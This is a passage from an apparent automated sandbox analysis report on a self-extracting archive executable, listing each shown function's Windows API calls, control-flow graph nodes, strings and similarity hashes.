WriteConsoleW Sleep FreeConsole 464->476 477 d873ad 464->477 479 d873b0-d873b7 call d71549 ExitProcess 465->479 476->477 477->479 482->445 484 d87292 482->484 483->439 484->439
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(kernel32,562D4312), ref: 00D86DC7
                                                              • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D86DD9
                                                              • GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D86E03
                                                              • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D870CA
                                                              • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D870DF
                                                              • ReadFile.KERNEL32(00000000,?,00007FFE,?,00000000), ref: 00D870FF
                                                              • CloseHandle.KERNEL32(00000000), ref: 00D87187
                                                              • CompareStringW.KERNEL32(00000400,00001001,?,000000FF,DXGIDebug.dll,000000FF,?,?,?), ref: 00D871F8
                                                              • AllocConsole.KERNEL32 ref: 00D8735E
                                                              • GetCurrentProcessId.KERNEL32 ref: 00D87368
                                                              • AttachConsole.KERNEL32(00000000), ref: 00D8736F
                                                              • GetStdHandle.KERNEL32(000000F4,00000000,00000000,?,00000000), ref: 00D8738F
                                                              • WriteConsoleW.KERNEL32(00000000), ref: 00D87396
                                                              • Sleep.KERNEL32(00002710), ref: 00D873A1
                                                              • FreeConsole.KERNEL32 ref: 00D873A7
                                                              • ExitProcess.KERNEL32 ref: 00D873B7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Console$FileHandle$AddressProcProcess$AllocAttachCloseCompareCreateCurrentExitFreeModulePointerReadSleepStringWrite
                                                              • String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
                                                              • API String ID: 2644799563-3298887752
                                                              • Opcode ID: 9e68bb270a4730b7c92e4e4bedeae51ad5fbc225eb5879cc9d511e440399f019
                                                              • Instruction ID: 4142d75d4d9f290f7d204700df2a6e06faa1f7a523998f52aaa92011d5cd76fb
                                                              • Opcode Fuzzy Hash: 9e68bb270a4730b7c92e4e4bedeae51ad5fbc225eb5879cc9d511e440399f019
                                                              • Instruction Fuzzy Hash: 48F15BB14043889BCF20EFA4CC49BDE3BAAFF06314F504119F91A9B691DB709649CBB5
                                                              Function 00D93572 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106windowCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                                • Part of subcall function 00D90678: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D90689
                                                                • Part of subcall function 00D90678: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D9069A
                                                                • Part of subcall function 00D90678: IsDialogMessageW.USER32(00010426,?), ref: 00D906AE
                                                                • Part of subcall function 00D90678: TranslateMessage.USER32(?), ref: 00D906BC
                                                                • Part of subcall function 00D90678: DispatchMessageW.USER32(?), ref: 00D906C6
                                                              • GetDlgItem.USER32(00000068,00000000), ref: 00D93595
                                                              • ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,00D8FD20,00000001,?,?), ref: 00D935BA
                                                              • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D935C9
                                                              • SendMessageW.USER32(00000000,000000C2,00000000,00DAC6C8), ref: 00D935D7
                                                              • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D935F1
                                                              • SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00D9360B
                                                              • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D9364F
                                                              • SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00D93662
                                                              • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D93675
                                                              • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D9369C
                                                              • SendMessageW.USER32(00000000,000000C2,00000000,00DAC860), ref: 00D936AB
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
                                                              • String ID: \
                                                              • API String ID: 3569833718-2967466578
                                                              • Opcode ID: 9be76df03b7329b80d238f316f1079a9515f8fc64464d12bb95448a3bd298994
                                                              • Instruction ID: 593fed17a1ea057fdc0c5e0fb0377d9632e99339456c8384a84d7069c8662cdb
                                                              • Opcode Fuzzy Hash: 9be76df03b7329b80d238f316f1079a9515f8fc64464d12bb95448a3bd298994
                                                              • Instruction Fuzzy Hash: 1631E171249702BFE3109F25EC49FAB7BE8EF45710F080618F961D62E0DB6499048FB6
                                                              Function 00D938A0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 291windowCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 632 d938a0-d938bc call d957d8 635 d938c2-d938c8 632->635 636 d93bc7-d93bd4 call d71a66 call d95787 632->636 635->636 637 d938ce-d938f4 call d971f0 635->637 644 d938fd-d93909 637->644 645 d938f6 637->645 646 d9390b 644->646 647 d9390d-d93916 644->647 645->644 646->647 648 d93918-d9391b 647->648 649 d93924-d93927 647->649 650 d9391d 648->650 651 d9391f-d93922 648->651 652 d93929 649->652 653 d9392b-d93935 649->653 650->651 651->653 652->653 654 d9393b-d93948 653->654 655 d939ce 653->655 656 d9394a 654->656 657 d9394c-d93956 654->657 658 d939d1-d939d3 655->658 656->657 659 d93958 657->659 660 d9398c-d93999 657->660 661 d939dc-d939de 658->661 662 d939d5-d939da 658->662 665 d9396f-d93972 659->665 663 d9399b 660->663 664 d9399d-d939a7 660->664 666 d939ff-d93a11 call d81383 661->666 667 d939e0-d939e7 661->667 662->661 662->666 663->664 670 d939ad-d939b2 664->670 671 d93bd7-d93bdd 664->671 672 d9395a-d9395f 665->672 673 d93974 665->673 685 d93a29-d93a64 call d714a7 call d7ed0d call d71a66 666->685 686 d93a13-d93a20 call d88da4 666->686 667->666 668 d939e9-d939f5 667->668 674 d939fc 668->674 675 d939f7 668->675 679 d939b4 670->679 680 d939b6-d939bc 670->680 676 d93bdf 671->676 677 d93be1-d93be8 671->677 681 d93961 672->681 682 d93963-d9396d 672->682 673->660 674->666 675->674 676->677 683 d93bea-d93bf0 677->683 684 d93c00-d93c06 677->684 679->680 680->671 687 d939c2-d939c5 680->687 681->682 682->665 688 d93976-d9397b 682->688 691 d93bf2 683->691 692 d93bf4-d93bfd 683->692 694 d93c08 684->694 695 d93c0a-d93c14 684->695 705 d93a9d-d93aac ShellExecuteExW 685->705 706 d93a66-d93a95 call d714a7 call d80e49 call d71a66 685->706 686->685 700 d93a22 686->700 687->654 696 d939cb 687->696 689 d9397d 688->689 690 d9397f-d93989 688->690 689->690 690->660 691->692 692->684 694->695 695->658 696->655 700->685 708 d93b7c-d93b82 705->708 709 d93ab2-d93abc 705->709 740 d93a9a 706->740 741 d93a97 706->741 711 d93b84-d93b99 708->711 712 d93bb7-d93bc3 708->712 713 d93aca-d93acc 709->713 714 d93abe-d93ac0 709->714 716 d93b9b-d93bab call d719a9 711->716 717 d93bae-d93bb6 call d95726 711->717 712->636 719 d93ace-d93ad7 IsWindowVisible 713->719 720 d93ae5-d93af6 WaitForInputIdle call d93fcf 713->720 714->713 718 d93ac2-d93ac8 714->718 716->717 717->712 718->713 726 d93b30-d93b3b CloseHandle 718->726 719->720 721 d93ad9-d93ae3 ShowWindow 719->721 727 d93afb-d93b02 720->727 721->720 730 d93b3d-d93b4a call d88da4 726->730 731 d93b4c-d93b53 726->731 727->726 733 d93b04-d93b06 727->733 730->731 736 d93b6b-d93b6d 730->736 731->736 737 d93b55-d93b57 731->737 733->726 739 d93b08-d93b17 GetExitCodeProcess 733->739 736->708 738 d93b6f-d93b71 736->738 737->736 743 d93b59-d93b5f 737->743 738->708 745 d93b73-d93b76 ShowWindow 738->745 739->726 746 d93b19-d93b22 739->746 740->705 741->740 743->736 744 d93b61 743->744 744->736 745->708 747 d93b29 746->747 748 d93b24 746->748 747->726 748->747
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D938A7
                                                              • ShellExecuteExW.SHELL32(?), ref: 00D93AA4
                                                              • IsWindowVisible.USER32(?), ref: 00D93ACF
                                                              • ShowWindow.USER32(?,00000000), ref: 00D93ADD
                                                              • WaitForInputIdle.USER32(?,000007D0), ref: 00D93AED
                                                              • GetExitCodeProcess.KERNEL32(?,?), ref: 00D93B0F
                                                              • CloseHandle.KERNEL32(?), ref: 00D93B33
                                                              • ShowWindow.USER32(?,00000001), ref: 00D93B76
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Window$Show$CloseCodeExecuteExitH_prolog3_HandleIdleInputProcessShellVisibleWait
                                                              • String ID: .exe$.inf
                                                              • API String ID: 3208621885-3750412487
                                                              • Opcode ID: 8480fa7702a0f718819b10121a235b12aef251da7ceded10ed6f31aed6c058a6
                                                              • Instruction ID: bdb04063b6f0860b388d32bbcc70e7228caef67f815fbd0fca72f406ccad4919
                                                              • Opcode Fuzzy Hash: 8480fa7702a0f718819b10121a235b12aef251da7ceded10ed6f31aed6c058a6
                                                              • Instruction Fuzzy Hash: D2B1AC31A00249AFCF21DFA8D885BED77B5EF45314F288119E845E7251D770AE86CB70
                                                              Function 00D93EFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1052 d93efc-d93f11 call d957d8 1055 d93f13 1052->1055 1056 d93f15-d93f45 SetEnvironmentVariableW call d86366 1052->1056 1055->1056 1058 d93f4a-d93f4c 1056->1058 1059 d93f8c-d93f92 1058->1059 1060 d93f4e 1058->1060 1061 d93f94-d93fa9 1059->1061 1062 d93fc7-d93fcc call d95787 1059->1062 1063 d93f51-d93f57 1060->1063 1064 d93fab-d93fbb call d719a9 1061->1064 1065 d93fbe-d93fc6 call d95726 1061->1065 1066 d93f59 1063->1066 1067 d93f5b-d93f67 call d86624 1063->1067 1064->1065 1065->1062 1066->1067 1076 d93f69-d93f70 1067->1076 1077 d93f72-d93f76 1067->1077 1076->1063 1078 d93f78 1077->1078 1079 d93f7a-d93f86 SetEnvironmentVariableW 1077->1079 1078->1079 1079->1059
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D93F03
                                                              • SetEnvironmentVariableW.KERNELBASE(sfxcmd,?,?,?,?,?,?,00000028), ref: 00D93F1B
                                                              • SetEnvironmentVariableW.KERNEL32(sfxpar,?,?,?,?,?,?,?,00000028), ref: 00D93F86
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: EnvironmentVariable$H_prolog3_
                                                              • String ID: sfxcmd$sfxpar
                                                              • API String ID: 3605364767-3493335439
                                                              • Opcode ID: 86792f554301c0af1da76ad3534b609f6f7613471a30fabe5ad51bc7b16d7cc8
                                                              • Instruction ID: c1c6cd1a6d0d9b97479a8543df11b7ccd9a775dc2ab8499fc54ce8ef8079ee7b
                                                              • Opcode Fuzzy Hash: 86792f554301c0af1da76ad3534b609f6f7613471a30fabe5ad51bc7b16d7cc8
                                                              • Instruction Fuzzy Hash: 6F21F070E11208AFCF15EFA8E9859EDB7F9EF09300B50442AF446A7240DB30AA48CB75
                                                              Function 00D7E180 Relevance: 7.7, APIs: 5, Instructions: 183filetimeCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1080 d7e180-d7e1c9 1081 d7e1d4 1080->1081 1082 d7e1cb-d7e1ce 1080->1082 1084 d7e1d6-d7e1e6 1081->1084 1082->1081 1083 d7e1d0-d7e1d2 1082->1083 1083->1084 1085 d7e1ee-d7e1f8 1084->1085 1086 d7e1e8 1084->1086 1087 d7e1fd-d7e22a 1085->1087 1088 d7e1fa 1085->1088 1086->1085 1089 d7e232-d7e238 1087->1089 1090 d7e22c 1087->1090 1088->1087 1091 d7e23c-d7e254 CreateFileW 1089->1091 1092 d7e23a 1089->1092 1090->1089 1093 d7e316 1091->1093 1094 d7e25a-d7e28a GetLastError call d8169a 1091->1094 1092->1091 1095 d7e319-d7e31c 1093->1095 1100 d7e2be 1094->1100 1101 d7e28c-d7e293 1094->1101 1098 d7e31e-d7e321 1095->1098 1099 d7e32a-d7e32e 1095->1099 1098->1099 1102 d7e323 1098->1102 1103 d7e330-d7e333 1099->1103 1104 d7e34f-d7e360 1099->1104 1108 d7e2c1-d7e2cb 1100->1108 1105 d7e295 1101->1105 1106 d7e298-d7e2b8 CreateFileW GetLastError 1101->1106 1102->1099 1103->1104 1107 d7e335-d7e34c SetFileTime 1103->1107 1109 d7e374-d7e39a call d71a66 call d95734 1104->1109 1110 d7e362-d7e370 call d725c3 1104->1110 1105->1106 1106->1100 1111 d7e2ba-d7e2bc 1106->1111 1107->1104 1112 d7e300-d7e314 1108->1112 1113 d7e2cd-d7e2e2 1108->1113 1110->1109 1111->1108 1112->1095 1116 d7e2f7-d7e2ff call d95726 1113->1116 1117 d7e2e4-d7e2f4 call d719a9 1113->1117 1116->1112 1117->1116
                                                              APIs
                                                              • CreateFileW.KERNELBASE(?,00000001,00000000,00000000,00000003,08000000,00000000,562D4312,?,?,00000000,?,?,00000000,00DA9E6B,000000FF), ref: 00D7E248
                                                              • GetLastError.KERNEL32(?,?,00000000,00DA9E6B,000000FF,?,00000011,?,?,00000000,?,?,?,?,?,?), ref: 00D7E25A
                                                              • CreateFileW.KERNEL32(?,00000001,00000000,00000000,00000003,08000000,00000000,?,?,?,?,00000000,00DA9E6B,000000FF,?,00000011), ref: 00D7E2A6
                                                              • GetLastError.KERNEL32(?,?,00000000,00DA9E6B,000000FF,?,00000011,?,?,00000000,?,?,?,?,?,?), ref: 00D7E2AF
                                                              • SetFileTime.KERNEL32(00000000,00000000,?,00000000,?,?,00000000,00DA9E6B,000000FF,?,00000011,?,?,00000000,?,?), ref: 00D7E346
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: File$CreateErrorLast$Time
                                                              • String ID:
                                                              • API String ID: 1999340476-0
                                                              • Opcode ID: 79738d173b0bfdef502f4734fe451e8945a931561d277f714f9e5455e6d62ba5
                                                              • Instruction ID: c66990bff67c351d1320476f82157ae58469d4ec175cc780677cbe8905c687eb
                                                              • Opcode Fuzzy Hash: 79738d173b0bfdef502f4734fe451e8945a931561d277f714f9e5455e6d62ba5
                                                              • Instruction Fuzzy Hash: 2B61AE70900349DFDB24CF68D885BEE7BE4FB08324F24822AF919D7281E7749944CBA4
                                                              Function 00D874EC Relevance: 7.5, APIs: 5, Instructions: 48COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1126 d874ec-d87536 call d877cf ReleaseSemaphore 1129 d87538 1126->1129 1130 d87556-d8758a DeleteCriticalSection CloseHandle * 2 1126->1130 1131 d8753b-d87554 call d875ed CloseHandle 1129->1131 1131->1130
                                                              APIs
                                                                • Part of subcall function 00D877CF: ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,00000004,00D773B8), ref: 00D877E1
                                                                • Part of subcall function 00D877CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00000004,00D773B8), ref: 00D877F5
                                                              • ReleaseSemaphore.KERNEL32(?,00000040,00000000,562D4312,?,?,00000001,00000000,00DAA603,000000FF,?,00D890B9,?,?,00D75630,?), ref: 00D8752A
                                                              • CloseHandle.KERNELBASE(?,?,?,00D890B9,?,?,00D75630,?,?,?,00000000,?,?,?,00000001,?), ref: 00D87544
                                                              • DeleteCriticalSection.KERNEL32(?,?,00D890B9,?,?,00D75630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00D8755D
                                                              • CloseHandle.KERNEL32(?,?,00D890B9,?,?,00D75630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00D87569
                                                              • CloseHandle.KERNEL32(?,?,00D890B9,?,?,00D75630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00D87575
                                                                • Part of subcall function 00D875ED: WaitForSingleObject.KERNEL32(?,000000FF,00D8770A,?,?,00D8777F,?,?,?,?,?,00D87769), ref: 00D875F3
                                                                • Part of subcall function 00D875ED: GetLastError.KERNEL32(?,?,00D8777F,?,?,?,?,?,00D87769), ref: 00D875FF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
                                                              • String ID:
                                                              • API String ID: 1868215902-0
                                                              • Opcode ID: 3304a4e5b1bced7aa1220848a949a6cf333ead9d5788ca25a2331ce1e04708a1
                                                              • Instruction ID: 8784327d1fd598d78891ceb1c987d3346c46bb274a4915e5c1f859020287c48d
                                                              • Opcode Fuzzy Hash: 3304a4e5b1bced7aa1220848a949a6cf333ead9d5788ca25a2331ce1e04708a1
                                                              • Instruction Fuzzy Hash: 42116D72504744EFC722AF64DC84BC6FBA9FB09760F10492AF266D22A0CB75A941CB74
                                                              Function 00D90678 Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1134 d90678-d90691 PeekMessageW 1135 d906cc-d906ce 1134->1135 1136 d90693-d906a7 GetMessageW 1134->1136 1137 d906a9-d906b6 IsDialogMessageW 1136->1137 1138 d906b8-d906c6 TranslateMessage DispatchMessageW 1136->1138 1137->1135 1137->1138 1138->1135
                                                              APIs
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D90689
                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D9069A
                                                              • IsDialogMessageW.USER32(00010426,?), ref: 00D906AE
                                                              • TranslateMessage.USER32(?), ref: 00D906BC
                                                              • DispatchMessageW.USER32(?), ref: 00D906C6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Message$DialogDispatchPeekTranslate
                                                              • String ID:
                                                              • API String ID: 1266772231-0
                                                              • Opcode ID: da77e1464d0182ede227dfc98688d4ee12bfbc12a162052a0b508771f0e72a32
                                                              • Instruction ID: 3a5fb48b37c5bcac9a4dc37bea727f03b9d0e20471aec47375f243fd599d4c6d
                                                              • Opcode Fuzzy Hash: da77e1464d0182ede227dfc98688d4ee12bfbc12a162052a0b508771f0e72a32
                                                              • Instruction Fuzzy Hash: 45F0D0B190632BAB8F20ABE2EC4CDDB7FBCEF452917444415F516D2150E724D505DBB0
                                                              Function 00D92813 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1139 d92813-d92845 call d77673 1142 d9284a-d92850 1139->1142 1143 d92847 1139->1143 1144 d92abd 1142->1144 1145 d92856-d9285b 1142->1145 1143->1142 1148 d92abf-d92ac3 1144->1148 1146 d9285d 1145->1146 1147 d92860-d9286e 1145->1147 1146->1147 1149 d92870-d9287c 1147->1149 1150 d92896 1147->1150 1151 d92ace-d92ad2 1148->1151 1152 d92ac5-d92ac8 1148->1152 1149->1150 1155 d9287e 1149->1155 1156 d92899-d9289c 1150->1156 1153 d92ad4-d92ad7 1151->1153 1154 d92af7 1151->1154 1152->1154 1157 d92aca-d92acc 1152->1157 1153->1154 1158 d92ad9 1153->1158 1164 d934ad-d934e9 call d758cb 1154->1164 1159 d92884-d92888 1155->1159 1160 d928a2-d928a7 1156->1160 1161 d92ab7 1156->1161 1162 d92ada-d92af2 call d77673 call d938a0 1157->1162 1158->1162 1165 d9288e-d92894 1159->1165 1166 d929f0-d929f2 1159->1166 1167 d928a9 1160->1167 1168 d928ac-d928d7 call d9acee call d71afc 1160->1168 1161->1144 1162->1154 1165->1150 1165->1159 1166->1150 1171 d929f8-d929fc 1166->1171 1167->1168 1168->1164 1178 d928dd-d928e1 1168->1178 1171->1156 1179 d928e3 1178->1179 1180 d928e5-d928ec 1178->1180 1179->1180 1181 d928ee 1180->1181 1182 d928f1-d9292f call d7120c call d8645a 1180->1182 1181->1182 1187 d92935-d92937 1182->1187 1188 d9293d-d9299f call d714a7 call d7adaa call d71a66 call d714a7 call d7adaa call d71a66 1187->1188 1189 d92a01-d92a07 1187->1189 1218 d929a1-d929a3 1188->1218 1219 d929a4-d929d2 call d714a7 call d7adaa call d71a66 1188->1219 1190 d92a09-d92a24 1189->1190 1191 d92a4e-d92a68 1189->1191 1196 d92a45-d92a4d call d95726 1190->1196 1197 d92a26-d92a3f call d719a9 1190->1197 1194 d92a6a-d92a85 1191->1194 1195 d92aaf-d92ab5 1191->1195 1199 d92a87-d92aa0 call d719a9 1194->1199 1200 d92aa6-d92aae call d95726 1194->1200 1195->1148 1196->1191 1197->1196 1199->1200 1200->1195 1218->1219 1226 d929d4-d929d6 1219->1226 1227 d929d7-d929eb call d8645a 1219->1227 1226->1227 1227->1187
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _wcslen
                                                              • String ID: HIDE$MAX$MIN
                                                              • API String ID: 176396367-2426493550
                                                              • Opcode ID: cf10d0b6fd96f7ba3c6f26ed9d494e73398c44dc33ba7ca7233df55373ede01a
                                                              • Instruction ID: 80f6519ef648b73dacaf52d32e63c671b2e4c8f0565719e80851768932af423e
                                                              • Opcode Fuzzy Hash: cf10d0b6fd96f7ba3c6f26ed9d494e73398c44dc33ba7ca7233df55373ede01a
                                                              • Instruction Fuzzy Hash: E8A13E72D00258EECF25DBA8CC85AEDBBB4FF49310F14459AD449B7241EB709A85CB70
                                                              Function 00D8F2CE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
